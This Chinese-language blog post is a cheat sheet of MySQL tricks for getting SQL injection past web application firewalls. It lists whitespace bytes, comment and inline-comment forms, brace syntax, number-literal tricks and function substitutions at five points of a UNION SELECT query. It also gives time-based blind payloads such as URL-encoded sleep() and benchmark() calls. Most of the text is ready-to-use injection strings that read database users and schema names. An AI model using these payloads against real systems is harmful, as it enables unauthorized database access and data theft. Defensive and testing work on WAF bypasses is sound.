0x01 前言

我们经常利用一些数据库特性来进行WAF绕过。在Mysql中，比如可以这样：

```
内联注释： /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a
```

一起去探索一下能够绕过WAF防护的数据库特性。

0x02 测试

常见有5个位置即：

```
SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】
from【位置五】admin
```

位置一：参数和union之间的位置

(1)常见形式：`/**/`、`/*!50000union*/`等形式：

```
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
```

(2)空白字符：

Mysql中可以利用的空白字符有：`%09,%0a,%0b,%0c,%0d,%20,%a0；`

```
id=1%0aunion select 1,user() from admin
其他形式如：%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
```

(3)浮点数形式 ：1.1

```
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
```

其他形式如：%1%2e、%2%2e

(4)1E0的形式：

```
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
```

(5) \Nunion的形式：

```
SELECT * FROM admin WHERE username = \Nunion select 1,user() from admin
```

位置二：union和select之间的位置

(1)空白字符

```
Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；
id=1 union%a0select 1,user() from admin
```

(2)注释符

使用空白注释，MYSQL中可以利用的空白字符有：

```
/**/ 、/*anything*/
```

(3)括号

SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))

select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))

位置三：select和查询参数之间的位置

(1)空白字符

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；

id=1 union select%091,user() from admin

(2)注释符

使用空白注释，MYSQL中可以利用的空白字符有：

```
/**/、/*anything*/
```

(3)其他字符

%21 ！ 叹号

%2b + 加号

%2d - 减号

%40 @ 电子邮件符号

%7e ~ 波浪号

SELECT * FROM admin WHERE username = 1 union select~1,user() from admin

(4)其他方式：

括号： SELECT * FROM admin WHERE username = 1 union select(1),user() from admin

内联： SELECT * FROM admin WHERE username = 1 union /*!12345select*/1,user() from admin

@字符：SELECT * FROM admin WHERE username = 1 union select@`1`,user() from admin

{括号：SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin

引号： SELECT * FROM admin WHERE username = 1 union select"1",user() from admin

\N： SELECT * FROM admin WHERE username = 1 union select\N,user() from admin

位置四：查询参数和from之间的位置

(1)空白字符

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；

id=1 union select 1,user()%09from admin

(2)注释符

使用空白注释，MYSQL中可以利用的空白字符有：

```
/**/ 、/*anything*/
```

(3)其他符号

波浪号%60： SELECT * FROM admin WHERE username = 1 union(select 1,(select `schema_name`from information_schema.SCHEMATA limit 0,1))

SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin

内联注释： SELECT * FROM admin WHERE username = 1 union(select 1,(select/*!schema_name*/from information_schema.SCHEMATA limit 1,1))

{括号： SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

括号： SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin

括号后面加字母：SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin

破浪号加字母： SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin

(4)浮点数、1E0的形式、\N形式

id=1 union%0cselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin

SELECT * FROM admin WHERE username = 1 union select user(),\Nfrom admin

位置五：from后面的位置

(1)空白字符

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；

id=1 union select 1,user()%09from admin

(2)注释符

使用空白注释，MYSQL中可以利用的空白字符有：

```
/**/、/*anything*/
```

(3)其他字符

破浪号： id=1 union select 1,(select(schema_name)from`information_schema`.SCHEMATA limit 0,1)

内联注释： id=1 union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)

{括号： id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

括号： id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

同一个表的情况下，大小写字母加数字都可以

SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 函数

类型一：常见的过滤函数

(1)字符串截取函数

Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

(2)字符串连接函数

concat(version(),'|',user());

concat_ws('|',1,2,3)

(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了，然后使用ascii (1)即可 Char(49) Hex('a') Unhex(61)

类型二：过滤了特殊符号

(1)limit处的逗号： limit 1 offset 0

(2)字符串截取处的逗号 mid处的逗号： mid(version() from 1 for 1)

(3)union处的逗号： 通过join拼接。

SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b

(4)操作符<>被过滤

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结：使用greatest()绕过比较操作符。

类型三：部分函数构造

（1）`sleep(5)/benchmark(10000000,SHA1(1))`

```
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
```

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；

(2)select {x 1}形式

select{x[可填充字符]1}

Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0；

%21 ！ %2b + %2d - %40 @ %7e ~

0x04 END

本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数，这是最灵活多变的一种数据库类型，以上这些远远是不够的。比如：单单一个内联注释，就可以嵌套多层，变幻出各种令人诧异的姿势。

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。